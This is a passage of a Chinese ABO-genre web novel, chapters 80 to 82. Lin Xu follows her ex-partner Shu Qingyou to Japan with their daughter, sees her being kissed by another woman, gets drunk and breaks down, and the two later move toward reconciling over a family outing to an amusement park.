每天发一大堆视频骚扰舒清柚,舒清柚拉黑也不是,不拉黑吧嫌林絮牛皮糖式狂轰滥炸。 林絮这回放聪明,挟绒绒以令舒清柚,所谓软肋,不就是这么用的。 当她第二次去到日本,直接把舒绒也撂上。 来到老地方,在村子里外找遍也没发现舒清柚身影。 看到她朋友圈,发现更新了一条新消息,一幅陶瓷作品,摆放在展厅,光影恰到好处。 下方附带地址。 林絮马不停蹄赶往场馆,又兜兜转转了许久,依然不见舒清柚,不仅她着急。 舒绒也焦急地抓住林絮的头发。 头皮都快被女儿拽下来了,她掐着嗓子求饶:“行行行,我给你妈打电话好吧,放手呀小祖宗。” 林絮拨通电话,响了一声后,林絮突然听到了铃声。 场馆不算大,人们轻言细语交流,落针可闻。 这道铃声额外的突兀,没两声就主人挂断。 林絮一下子就认出这是舒清柚的,她穿过走廊,朝这个方向走去。 越靠近舒清柚方向,她就觉得奇怪。 她依稀看见舒清柚在安全通道楼梯间那边,里面晦暗不明。 有两个人,身量差不多,林絮心脏噗通一跳,她放轻脚步。 舒清柚穿的是日常装,却不随意,头发优雅地盘起,清清淡淡的气质,林絮一眼就认出来。 另外一位女性,穿着娴雅的和服,身段玲珑有致,长直黑发披在脑后,头顶装饰着一根华丽的簪子。 侧脸看起来,长相甜美,妆容也很精致。 她微微倾身,和舒清柚说着什么,舒清柚附耳认真听,嘴角带笑,眉眼清润。 周遭的一切寂静像是在应景,林絮大脑空白一瞬,脊背僵住。 糟糕 舒清柚好像在出轨??? 第80章 “你不守O德” 舒绒内心外在都不淡定,只能在视频里看到妈妈的脸,舒绒激动的胳膊腿使劲要挣开林絮。 “急什么急什么?” 林絮一手捂住她的嘴,一手搂住胡乱蹬的腿,为此林絮捱了不少女儿的无影脚。 腹部火辣辣的疼。 真是亲闺女啊!林絮眉毛紧锁,猫着腰,忍痛躲到安全通道外侧墙。 重新把视线放在那俩鬼鬼祟祟的Omega。 看到她们两个还在聊天,气氛一派和谐,她愤慨对舒绒咬耳朵:“你妈怎么能这么对我呢?都是她自作主张分手的,我单方面不同意。” 舒清柚出于礼貌,浑然不知地和这位杉原优子友好交流。 对方财阀大小姐,还是老师亲戚,人也很和善,隔三岔五过来看望老师。顺便静静地在她旁边陪她做陶杯。 有时免不了共进晚餐,一来二去,两人关系拉近,比起假名,优子更喜欢称呼她舒小姐。 优子灵动的杏仁眼像是有星星在流动,她鼓起勇气,情不自禁说:“舒小姐,我喜欢你。” 舒清柚听到喜欢明显愣住,瞳孔略缩,未减的笑容中带着不解的意味。 她唇瓣动了动,想说点什么,脑袋却给不出合理拒绝的词。 正想着,脸上传来柔软湿润的触感,唇釉的香味飘绕她的鼻尖。 优子不仅唇瓣如云朵,声音也轻软,“你也喜欢我吗?” 她这一问,舒清柚也有点犹豫不定,被亲的感觉不赖,没有反感,只是不怎么心动。 舒清柚面对女生期盼的眼神,脑子迟钝地运转,她也不忍心拒绝。 偷窥这一幕,林絮心碎满地,她能感觉到舒清柚的身体没有抗拒对方。 身体不反感,心理喜欢也快了 林絮如鲠在喉,眼冒金星,踉跄几下扶着墙稳住身形。 她剧烈地喘息,好一会才缓过来,无声地退到更远处,心乱如麻。 舒绒也有点惊讶,更多是不服,她也想亲妈妈! 还没来得及和妈妈打招呼,妈咪把她正面全方位按在胸口,耳鼻喉都发不出声音,她懵了。 好不容易呼吸到新鲜空气,舒绒准备发个小飙,发现妈妈脸色阴沉的可怕,她缩起小脑袋。 明哲保身。 场馆外,林絮随机拦了辆出租车,失魂落魄坐在后排。 司机轻踩油门,后视镜里客人不发一言。 “那个,客人目的地在哪?” 林絮自动屏蔽外界,脑袋里不断回放舒清柚被亲的画面。 直到司机多唤了几声,她冷淡的报出地址,今天依然落雪,行人撑着黑色或透明伞匆匆来往。 世间大地颜色愈发暗淡。 之前来的这家餐馆,没有宵禁,门外竖起的招牌挂着五颜六色的灯管。 一盏黄光灯笼在屋檐上摇曳。 似有若无的酒香从里头钻出,林絮意识到这是家居酒屋。 一进门,风铃声推动,老板娘一眼就认出她。 “您又来光顾了?”这回见到新面孔,老板娘眼前一亮,“这是您女儿吗,真漂亮啊。” 林絮本来不想搭理的,反正舒绒也听不懂日语,她顿了下,笑了笑,“老板娘,你觉得她像我吗?” “呃”老板娘定睛瞧去,认真打量舒绒,“眉毛形状,还有这双美丽的眼睛,都很像您呢,这脸,好眼熟。” “嗯,”林絮随意坐下,点了些下酒菜,要了三壶酒,“上点小孩子能吃的食物。” “哎呀呀,”老板娘皱着眉反对,好心地说:“怎么能带着女儿喝酒,会带坏她。” 林絮漫不经心回应,“没事,她妈咪是白石小姐,你认识她,对吧。” 老板娘惊叹,张开嘴,“是她!我说怎么会如此相似。” 没兴致唠嗑,林絮强调快点上酒。 很快,几道凉拌菜和酒依次摆在面前,包括舒绒的吃食。 林絮斜了眼舒绒,揉揉她的头发,“别乱跑,在这等你妈妈。” 就算林絮没刻意提醒,舒绒也没胆子到处跑,她都不听懂这些人的语言。 不知多少壶酒下肚,店里人都走光了,她喝了太多,基本上放弃思考,趴在桌上,看着舒绒局促不安的脸。 老板小两口看着电视,时不时朝她这边看来,时间渐晚,老板娘愈发操心,忧心忡忡都写在脸上。 这里是小地方,人情不像城市那样淡薄,客人明显有伤心事,喝的酩酊大醉。 “要不,您还是给白石小姐打个电话。” 林絮不吭声,挣扎着支起上身,倒了杯酒,一口闷。 彻底摆烂状态,老板娘心疼小孩失落地垂脸不语,有点生气不负责的家长。 她加重语气:“客人可不能不管孩子!” “哦”林絮吐字不清,“行,我这就给她电话这就” 她眯着眼,摇头晃脑掏出手机,本能点开舒清柚的视频。 短促刺耳的提示音响起。 舒清柚很快接通,以往打视频都为了看舒绒,这次也同样出现女儿的脸。 看不清脸,背景有点熟悉,她有种难以言喻的怪异,舒清柚在温暖的屋内问,“绒绒,你妈咪呢?” 舒绒闷闷不乐,妈妈为什么不来接她。 老板娘也在等林絮说话,奈何这人一打完电话,举着手机又趴桌上不动弹了。 “白石小姐,您快点来一趟吧,您的”她想了想说:“孩子另一个妈情况不是很好。” 刚应付完杉原,现在又来个林絮,偏偏孩子也被她带来,她也不好扔她一人在餐馆。 舒清柚扶额头疼,好不容易婉拒对方的表白,她心累地套上外套,拿起一把伞。 十分钟不到,舒清柚顶着夜间肆虐的风雪,推开门,老板娘指了指林絮。 不用说,醉醺醺,歪在墙边的背影绝对是她那没用的Alpha。 她先是快步来到女儿身边,轻声唤着,“绒绒” 舒绒呆了呆,眼睛迅速睁大,她张了张嘴,想叫妈咪的,可喉咙像被什么塞住了,她说不出口。 倒是眼泪先行一步流到嘴角,咸咸的。 舒清柚一把将她拥入怀中,垂眸,亲吻女儿发顶。 听着舒绒熟悉的嘤咛声,心里软成一滩水。 女儿穿的厚实,头发长到肩膀,可以扎起一个小啾啾,她抱起舒绒,重了点,很软绵的小团子。 林絮迷糊听见舒清柚的声音,还有她和老板娘在说些什么。 不多时,林絮小腿被踢了一脚,她呜咽了声,“谁,谁打我?” 舒清柚眸子冷漠,上下扫了她一眼,“起来,回家。” 啊,是她那出轨的Omega催她回家呢,林絮缓缓抬起下巴,摇晃着,艰难起身。 老板娘上前,意欲扶她回去,路程也不远。 舒清柚谢过老板娘,说:“让她自己走,她需要吃点苦头。” 林絮眼神蒙着一层雾,脚步虚浮,但还能走。 接着,舒清柚拍了拍林絮酡红的脸,“跟我回家,懂吗?” 她只给自己和女儿打伞,林絮虽然醉,也没到分不清东南西北的地步,她认得出舒清柚。 酒精的后劲很大,即使雪大风急的,她感觉不到冷,跟着舒清柚,两人隔着半米距离。 屁股后面跟个拖油瓶,舒清柚:“快点,今晚雪会很大。” 明天她不打算出门。 林絮身体脑袋沉重,灌满水似的,听到舒清柚的催促,她干脆跑了起来。 舒清柚:“” “你妈咪真的很神经。” 十分钟的脚程,舒清柚还要分心抓住林絮的衣领,半推半就,总算给她送到屋内。 舒绒在外面冻得瑟瑟发抖,但一进到妈妈的住所,她提溜着眼珠子到处张望。 屋内外带来的温度差,林絮则是咚的一下,直接瘫倒在玄关。 确保林絮不会被冻死,舒清柚不管她,将女儿打理好。 舒绒沉浸在和妈妈相遇的幸福中,不停地叫妈妈。 舒清柚听得心脏酸软,视频里女儿说话是一回事,亲耳听见,她只想陪女儿长大,不错过她生命中重要的事。 舒绒抽空看了眼林絮,好奇道:“妈咪,脏脏。” 舒清柚不屑给林絮关怀,温柔尽付诸在女儿,她温声:“你妈咪自找的,不用管她,绒绒早点睡觉好不好?” 舒绒扬起大大的笑容,“好!” 随后她又抱着妈妈的胳膊,大眼睛巴巴的眨了眨,“睡,妈妈。” “好,妈妈当然陪你睡,等我处理好你妈咪。” 舒绒鼓起白软的腮帮子,不悦地瞥了眼妈咪,勉为其难点点头。 舒清柚换好睡衣,慢悠悠来到玄关,只见林絮已经醒了,眼神直勾勾地盯着她。 眼神中带有不满的情绪。 是舒清柚最讨厌的神情之一,她抱着双臂,站在林絮身前,居高临下俯视她。 “打算在这睡一晚?” 林絮嘴唇翕动,脑袋不清不楚的,“你管我,怎么,今天小情人没和你回家?” 舒清柚远山眉蹙起,凤眸轻蔑地睨她,“小情人?” “对啊,”林絮嘲讽地歪嘴,目光暗了暗,“你和那个Omega卿卿我我,还真若无旁人,不知廉耻。” 这话一出,舒清柚明白林絮又跟踪她了,上瘾了是吧,她握紧拳头。 “你倒是说说,我和她,哪不知廉耻?” 林絮站起身,腿实在挺不住,又滑倒在鞋柜边。 遭受挫折,林絮愤慨:“你不守O德,背着我找女人,她也没有道德,抢别人老婆,挖墙脚!” 舒清柚乐了,向前走动几步,弯下腰,看着眼神躲闪她的A,冷哼:“不守O德?你的老婆?” 她伸出食指,往林絮心窝子上戳,一字一顿,无比清晰,“我只说一遍,我们的关系早就是过去式,你认清自己的位置,否则今晚滚出我家!” 林絮瞪着雾蒙蒙的桃花眼,眼眶顿时聚集了一汪湿漉,她呜呜一声,哭了出来。 她毫无形象,抱住舒清柚的大腿,不停把眼泪往她睡裙上抹,哭着埋怨:“我不管,我不管,你不准和别人在一起!” “我生是你的人,死是你家的鬼,你要了我,不能赖账” 搞不懂这人哪来的歪理,还这么封建。 舒清柚大腿满是她的痕迹,她试着拔腿,无果。 “别闹了,林絮。” 林絮见她有软化的姿态,愈发猖狂,不断把自己和那个Omega作比较,就连床上功夫高低也口无遮拦。 这阵势,怕是没完没了了,舒清柚咬着下唇,思考如何把人搞到沙发上睡觉。 她真的没空陪她闹了。 思来想去,也只有一个办法,趁林絮还在悲天悯人,下一秒,舒清柚扬起手。 给了林絮一个耳光。 脸上火辣辣的疼,林絮摸着脸发懵,惊恐看向舒清柚。 “宝宝,我哪做错了?” “滚去那边睡觉,明天再说。”舒清柚手一指,转身回到卧室。【你现在阅读的是 】 第 81 章【VIP】 第81章 同意你一O一A制 “啊!” 林絮头疼欲裂地蜷起身体,她还没来及的睁开眼睛,脸和地面进行短暂的亲密接触。 僵硬的身体慢慢适应所处环境,她才睁开眼。 从陌生天花板,到她摔跤的罪魁祸首,这张老旧米色沙发铺着条毛毯,大半都扯到地上。 她揉着脑袋半坐起,观察四周,昨晚的回忆一点一滴涌上心头。 千里迢迢带闺女找另个妈,误打误撞舒清柚和别人亲密场景,也丝毫没有拒绝的意思。 明摆着开启一段新恋情。 借酒消愁,起不到任何作用,她握拳捶了捶脑袋,看来舒清柚早把自己忘的一干二净。 她们的关系就只有靠孩子维系,真够可悲的,她好失败啊。 最失败在于,她昨天低声下气告姥姥求奶奶的,赖着舒清柚直哭。 林絮烦躁无比,抱头在地板滚过来滚过去,不知滚几圈,她的眼底逐渐黯淡,嘴里呢喃:“如果她们在一起,我要怎么办呢” “以后也不能正大光明带孩子找她,会更讨人厌的。” 越想就越糟糕,她滚的更厉害了。 正在她郁郁寡欢时,舒清柚从卧室出来,怔了下,林絮在用身体拖地吗? “酒醒了?”她稍微踮起脚确认林絮的状况,人生龙活虎地活着,只别着脸不看她。 舒清柚来到厨房,准备早餐前,找到一直准备的蜂蜜,纯天然无污染,兑了杯蜂蜜水。 “喂” 身后突然响起林絮死气沉沉的声音,舒清柚肩膀顿了顿,转过身,将水杯递给她,“怎么走路悄无声息的?” 林絮垂下眼眸,接过,看着水杯内的波纹,有股淡淡的香甜气息。 思忖片刻,她赌气地咕噜噜一口闷下,阴恻恻地说:“不悄无声息怎么能发现你出轨的。” 舒清柚眉心蹙起,有点莫名,“我说过,我们都不是情侣关系,你没资格诬陷我出轨吧。” 林絮啪地放下杯子,随后拉开椅子,坐下,视线依旧不敢和舒清柚对上。 “对啊,我没资格管你感情生活,但好歹,作为曾经的伴侣,孩子她妈也要提前告知。” 她说的振振有词,好像理被她全占了,“你想,就算我现在能接受她,你有问过绒绒吗,她那么小,突然间,三个妈,她处理的过来吗?” 舒清柚坐在她对面,认真听她理直气壮地分析,不住点头,“你说的有一定道理” 林絮以为说动舒清柚了,她惊奇地掀起眼皮,语气欢快:“对吧,这个对孩子心理状态来讲,不就是无缝链接。” 为了阻止她恋情,林絮当真什么鬼话都能说出口,舒清柚面色不变。 即使已经拒绝那位日本大小姐,眼前这大小姐逗一逗,还蛮有意思。 舒清柚手撑下颌,状若思考。 林絮则一会看她,一会又低下头玩手指。 舒清柚用指尖叩着桌子,“所以绒绒日后都跟着我。” 林絮脑子一时转不过弯,“啊?” “是你说的呀,担心绒绒心理状态不好,那以后跟着我,我在这安家落户,你在华国,我们井水不犯河水,绒绒还是两个妈妈。” 话虽如此,林絮睁大桃花眼,显得更无辜了,“这妈妈里面,没有我的事了?” 舒清柚很自然地赞同,之后起身,着手做早餐,徒留林絮呆在原地。 林絮从坐着,变成趴在桌上,反反复复十来分钟,眼眶不知何时再次水朦朦的。 煎鸡蛋的香味从舒清柚的方向飘来,她盯着她的背影,久久不能释怀。 舒绒这时也从房间趿着小拖鞋走来,看到妈咪半死不活的样子不奇怪,反正妈咪总是这样,她都习惯了。 妈妈在做早餐,舒绒加快脚步去抱妈妈。 没想到林絮先发制人,用力一把将她拉到腿上,她歪着脑袋疑惑:“妈咪?” 林絮抱着她潸然泪下,低声控诉:“你妈妈好狠心,要把我们母女俩分开。” “我们才相处多久,好不容易建议的感情,我好喜欢啊绒绒,你天生就是来当我女儿的,你也很舍不得我对吗?” 舒绒:“???” 叽叽喳喳的,她的目光放在林絮一张一合的嘴巴上,完全听不懂。 舒清柚听不下去了,林絮把她描述的好像是什么穷凶极恶的坏人,她回过头,警告地睨了林絮一眼,这才消停。 她上前几步把女儿抱起,放到座位上,“你别和绒绒灌输这些有的没的,想拿女儿威胁我,没门。” 说罢,她盛好三人份鸡蛋,依次给她们倒上牛奶。 林絮不发一言,等她做完一切,察言观色,舒清柚表情淡定,眼里有光,应该没生气。 “清柚,我” 舒清柚啊了声,微笑地说:“吃完去洗个澡吧,你脏脏的。” 林絮下意识闻闻手臂,再低下头,掀开上衣嗅里面,挺香的呀。 她以前有洁癖,遇到舒清柚以后,症状转好,什么洁癖不洁癖的,就算舒清柚让她在泥地里打滚摸爬也小菜一碟。 “好,我保证会洗干干净净的,然后。” 舒清柚姿势优雅专注吃鸡蛋,细嚼慢咽,漂亮的眸子偶尔关心地朝女儿投去一瞥,顺便问:“然后什么?” “然后我不打算走了。” “为什么?” “我觉得这里也挺好的,山清水秀,民风淳朴。” 真想一出是一出,舒清柚扯了下唇瓣,“你知道,我不会接受你的,不管你离我多近,就算你天天睡沙发,也一样。” 林絮扶头,苦恼地说:“我们,真到无法挽回的地步。” 舒清柚喝了口牛奶,抿着唇,樱色的唇瓣愈发水润柔软,她眼底划过迟疑:“暂时,不太行。” 这又是什么说法,暂时不太行,未来一切皆有可能。 这和画大饼有区别嘛? 林絮把怨气发泄在煎蛋牛奶中,风卷残云两三口搞定。 舒清柚提醒她:“以后吃东西慢一点。” 林絮闷声道:“知道了,谢谢关心。” “不客气,身为前任应该做的。” 气死她得了,林絮憋住气,委屈巴拉地跑到洗手间,她深呼吸着,拧开水龙头,看着流动的水声,没忍住,再次痛哭一场。 卫生间门口,舒绒打算洗脸,她站着不动。 舒清柚路过她,弯腰,摸着女儿的脑袋,柔声:“怎么了?” 舒绒手一指,奶声奶气地说:“妈咪,哭哭。” 当然了,林絮脾气如今软化许多,也总是向她妥协。 舒清柚心一软,考虑要不要和她说实话,她并没有要和那人交往的打算。 谁知,门忽地打开,舒清柚直起身。 只见林絮板起脸,紧紧抿着唇,努力不让嘴颤抖。 “要不继续在里面待着?”舒清柚提议。 林絮用幽怨的眼神锁住舒清柚,奋力从口中吐出几个字,“我答应了。” “答应什么?” “答应你和那个Omega在一起。” 舒清柚觉得好笑,“还需要你答应?” 林絮双臂抬起,搭在舒清柚肩膀上,俯下身,眼神坚定道:“不,我的意思是,我同意你一O一A制。” 馨香环绕在舒清柚鼻尖,曾经让她感到无限安全感的味道,也是她无法离开的信息素。 此时,舒清柚说不上是感动还是震惊,或者兼而有之。 她咬了咬下唇,反问:“我如果不接受呢?” 林絮好不容易用胶水拼好的玻璃心,继续被舒清柚敲碎,红成一片的眼眶有加深的迹象,“那我退出,” “你幸福,开心,就好。” 舒清柚嘴唇翕动,还想说点什么,肩上重量一轻,眼前身影消失不见。 不一会,她和舒绒都听到了林絮在哭。 舒清柚忍不住问女儿:“最近几个月,她情绪波动都这么大吗?” 舒绒想了想,肯定道:“对。” 水做的吗照林絮这流眼泪频率,舒清柚担心她把身体搞坏。 白雪皑皑,放眼望去,村落的屋顶覆盖着厚重的一层白。 窗边,林絮踌躇了会,接近喝咖啡的舒清柚,陪她一起赏雪,舒清柚头也不回:“昨晚到现在,总算哭够了?” 好丢人,她如饥似渴地看着舒清柚,女人身上裹着一条格子披肩,长睫下的神情冷淡。 “你管不着。” 舒清柚勾起嘴角,“全身上下只有嘴是硬的。” 林絮不服气:“少胡说,我全身上下嘴最软了。” 舒清柚呷了口咖啡,眼里染上道不明的情绪,“嗯,那张嘴最软。” “什么”林絮刚开始没读出她话里的意思,等她反应过来,气血直冲头顶,心跳猛然加速。 此时此刻,她只想去外面冰天雪地,挖个洞钻进去。 林絮捂着脸蹲下,“你好过分调戏我。” 舒清柚:“我只是把你说过的,原封不动还给你。” 现在舒清柚全方位拿捏住她,林絮欲哭无泪,回想起来,这的确是她一手造成的苦果。 林絮:“还有吗?” 舒清柚:“有什么?” “就是我说过的,让你难过的,伤你的话,你可以尽管都还回来,加倍奉还也可以。” “以后再说,我没你那么厚脸皮。” 舒清柚拉不下脸说难听的,太羞耻的言语,林絮脸不红心不跳做到,她回到华国。 再度借着看望女儿的蹩脚理由,两年内,飞了不知多少次日本。【你现在阅读的是 】 The end 第82章 她会等她 “渴。” 一个字,不需过多赘述,林絮非常熟练,从背包拿出一早准备好的保温瓶,拧开递上:“辛苦舒老师。” 舒清柚捏了捏她的脸,一本正经说:“你现在的样子,真的很” “贴心?”林絮喜上眉梢。 “狗腿。” “太贴切了!不愧是你!”林絮没有丝毫廉耻心,谄媚一笑,继续当她的小尾巴。 展厅内人头攒动,艺术评论家、收藏家、媒体记者以及艺术爱好者们穿梭其间。 自从舒清柚研修以来,一组名为《痕光》的作品横空出世,在国际新锐陶艺家邀请赛上,作品也引起了很大轰动。 林絮鞍前马后伺候她,舒清柚一身简洁亚麻长裙,气质清冷又温润,作为人群中心,她游刃有余,平静地回应对她作品的赞美,疑惑。 舒清柚看了眼手表,勾勾手指,嘈杂的展馆内,林絮立*马附耳上前:“怎么?” “绒绒。” 林絮当下不快:“有司机保姆,非要我去接?” 好不容易,舒清柚去年才和她讲明一O一A制的缘由,是林絮一厢情愿,但也让她胆战心惊一整年。 那一年,舒清柚每回与O约会,她憋屈接送等候,不敢有半点怨言。 之后,才发现舒清柚吓唬她,尽管如此,林絮再也不敢胡作非为。 生怕哪个不注意,舒清柚真和哪个女人一走了之。 “哦。”舒清柚没再多说什么。 这两年,舒清柚对她的态度,十分冷淡疏离,哪怕林絮整日在她跟前晃悠,各种刷存在感。 舒清柚压根没将她放在眼里,把她当挂件差不多。 熟悉的味道熟悉的配方,林絮连忙滑跪:“别别别,我去,我去还不行吗?” 见舒清柚颔首,林絮松一口气,她戴着口罩,谁也认不出她。 走之前,林絮借人多的理由贴近她问:“这次,我去接绒绒可以加分吗?” 今非昔比,舒清柚再也不需要她为她做任何,林絮目前的功能,包揽舒清柚衣食住行。 在舒清柚评分标准中,生活琐事不算加分项,林絮是个及格线都没达到的母亲。 以前舒清柚和她商量过,让她达到及格分,才考虑和她在一起的可能。 舒清柚保持对外惯有的微笑:“当然可以。” 林絮压低音量,止不住的开心,“加多少?” “0.1。” 林絮:“” 她表情一垮,舒清柚投来不满的一瞥,她再度赔笑,“有总比没有强,蚊子腿也是肉。” 林絮在心底却骂骂咧咧,钥匙圈挂在指尖转悠,她现在是完全体忍者神龟。 踩点来到幼儿园接闺女,舒绒比以前能跑能跳,妈咪来接她自然开心。 舒绒乖坐在车上,小脑袋往书包翻腾,小手抓着小零食,伸长手臂。 一颗小巧的糖果摊在舒绒掌心,林絮不客气的接过,撕开包装袋扔到嘴里,含糊不清地说:“绒绒真懂事,今天又是借花献佛的一天。” 舒绒虽然个子不高,不妨碍她长相可爱漂亮,好多小朋友向她表白,每天她不缺人投喂。 她不喜欢说话,反复摇头拒绝礼物太累,索性照单全收。 林絮教她这属于万人迷体质,受人欢迎是好事。 舒绒明白这是夸她的好话,往后的日子,有好吃的零食带回家给妈咪吃。 林絮心安理得接受,舒清柚看不下去,对这母女俩无语,一个敢收礼物不怕欠人情,一个好意思吃小孩子的零食。 自打舒绒跟林絮混熟,她们经常一起出去旅游,前提是舒清柚在场,不然林絮只是给舒绒打打嘴炮。 林絮:“要不要去游乐园?” 舒绒嚼着小饼干,眼睛直视妈咪,这是第几次说游乐园来着? 感受到不相信的视线,林絮同样无可奈何,出发前总会被突发情况困住。 好几次都由舒清柚带舒绒去玩。 第一次去的新鲜感早已过去,旋转木马属于家常便饭。 “好。” 林絮:“不情不愿的,你是不是坐腻旋转木马了?” 闻言,舒绒疯狂点头。 林絮打着方向盘,前往展馆方向接舒清柚,嘴角挂上得意的笑:“我就知道。” 一转头,和舒绒充满怀疑的眼神对上,她心虚地摸着鼻子。 林絮再三保证:“这次绝不食言,信我!” 约一个钟头,舒清柚和其她人道别,先行离开,远远瞧见她的小跟班在车旁向她挥手。 林絮头发染成比天空还蓝的发色,说这样比较有艺术感。 好在她的脸足够驾驭,为时两年考验,林絮耐心沉稳不少,她明白林絮所作所为还只是表象。 舒清柚不指望表里不一的她能够天翻地覆变化,林絮已经做到所能达到的程度。 人,总归不能太贪心。 妥协,并非单方面,舒清柚向自己妥协,日子还是要过。 她没法阻止林絮找到她,拒绝也白搭,不如顺其自然,她在林絮前面,给她钓一根无法企及的胡萝卜。 林絮觉得生活有盼头,对舒清柚的姿态日益渐低,喜闻乐见。 舒清柚坐下,先询问女儿在学校生活,玩起你问我答的游戏,舒清柚一句,舒绒简单回答。 “绒绒,你好偏心,怎么不和我多说两句。” 舒绒往妈妈怀里钻,奶声奶气的,“不。” 舒清柚警觉:“林絮,你又欺负女儿?” 并非空穴来风,林絮在家时,偶尔突发奇想,趁着舒绒走过拐角,蹦出来吓舒绒。 起初舒绒都会被吓哭,慢慢舒绒也有样学样,在某个角落突然钻出来。 负责当母女俩保姆兼司机的林絮,委屈地瞥了眼她们:“冤枉,我今天没有欺负她。” 舒清柚:“她嫌弃你。” “是吗?”林絮开启车辆自动驾驶,转过头,威胁她,“绒绒,嫌弃我的话,我们的约定作废。” 关系到能否玩好玩的,舒绒当仁不让,攥着妈妈的手直摇头,再凑上嘴,吧唧一下。 脸上留下湿漉漉的痕迹,舒清柚无言以对。 女儿嫩豆腐似的脸上出现焦急神态,这双眼睛正在长开,和林絮一模一样。 “真不知道她给你灌的哪款迷魂汤,”她刮了刮女儿鼻尖,“给你点小恩小惠就接受,真记吃不记打。” 见状,林絮赶快转移话题,“你别多想,我们明天去游乐园。” 舒清柚思忖片刻,想起最初林絮约定去游乐园,结果失约,第二次第三次亦然。 她不禁打趣道:“这回,你又要用什么借口逃避?” 林絮:“保证不会,你们的需求在我心里永远排第一。” 舒清柚妆容精致,几缕发丝落在巴掌大的脸,清冷的面容在面对舒绒时,多出几分柔和。 林絮不断地从后视镜偷看她,“你不相信我吗?” 这点小动作自然逃不过舒清柚,她没作出回应,只是勾起一抹笑,不明意义,让林絮独自干着急。 关于相信与否,林絮在饭桌上不断追问,舒清柚闭口不谈,或和她聊有的没的。 这样做的后果,林絮大半夜不睡觉,趴在她耳边念叨:“我在你心目中,成了言而无信的那类人吗?” 舒清柚不说话,背后对着她,早知道不好心答应她晚上一张床。 虽说两人约法三章,没有她的允许,林絮不准释放信息素,严禁动手动脚。 捱不住林絮开启话痨模式,每晚都要和她谈天说地。 平常倒还好,几句话能打发,遇到感情问题,林絮不达目的誓不罢休。 在林絮蚊子般的咕咕叽叽中,舒清柚忍不住,“你过来,我告诉你。” 林絮顺从靠近她,如愿以偿,得到自带香风的一巴掌。 睡眠受到打扰,舒清柚语气带上愠怒:“安分了?” 林絮抿抿嘴,跪坐在她面前,安分守己,“对不起,我不问了。” 翌日,正是春暖花开时节,三人轻装上阵。 为表决心,林絮手机也不带,她小心机地把舒绒囚在怀里,意味着舒清柚必须时刻陪同。 林絮有自知之明,舒清柚随时随地都有可能扔下她不管。 工作日,游乐园人数不算拥挤, 舒清柚默默观察两人,林絮还算藏得住心思,反观女儿,眼睛止不住地往危险项目上瞄。 尤其在林絮虚晃一枪,坐完旋转木马,一大一小两脑袋怼一块,生怕舒清柚不知道她们做贼心虚。 舒清柚不着急,等她们破防时刻。 果不其然,林絮站在工作人员跟前,居高临下指指点点。 “凭什么你不让我家孩子坐过山车!” 工作人员也不敢得罪她们的股东,看着身高一米左右的小女孩,她左右为难,“林总,这不是我们制定的规则,全国都是这样。” 林絮抬高音量:“什么规则,规则就是用来打破的。” 舒清柚出来打圆场,抱过舒绒,“看到了吧,这就是你那不靠谱的妈咪。” 舒绒羡慕地望向飞上天的车车,差点哭出来,她超级想上天。 令她惊讶,舒清柚没料到,女儿喜欢寻求刺激。 这点估计遗传林絮。 一想到林絮飙车的速度,舒清柚觉得很有必要严加管教女儿。 再怎么沟通都无果,林絮苦兮兮地向舒绒拉下脸,“对不起绒绒,你有点矮,没达到坐过山车标准。” 舒清柚捂住女儿耳朵,“她还小,这是重点,和身高无关。” 林絮扒开舒清柚的手:“但是我有一个好消息。” 随后,她手指向最高处指去:“我们可以一起玩那个。” 舒清柚循着她手指方向,缓慢旋转的摩天轮,很高。 她有点头皮发麻:“林絮。” “什么?” “我有说过吗,我恐高。” 林絮不可置信:“你都没和我讲过。” 舒清柚轻声说:“你从没问过我。” 听到这,林絮的情绪真正低落,她倒不在乎能不能玩,埋怨自己没有顾及舒清柚的感受。 林絮匆忙挡住舒清柚的眼睛,“既然怕,以后我们再也不要来,对不起,以前我只顾着自己喜欢,完全没考虑你。” 舒清柚笑说:“你不会难过吗?我没法陪你玩。” 林絮否认,无比坚定,“除了你,其她一切,都不是必需品。” 眼前黑漆漆的,舒清柚感受着眼睛上温热的掌心,周遭所有,人声,机器运转声。 噪杂混乱,直至寂静无声。 舒清柚听着胸腔的心脏,跳动频率比平常稍微快一点点。 环境恢复如常,她拂开林絮的手,温和地说:“你和绒绒去坐摩天轮。” 林絮:“那你怎么办,我不放心。” 舒清柚:“我就在这,等你们。” “真的吗?” “嗯。”【你现在阅读的是 】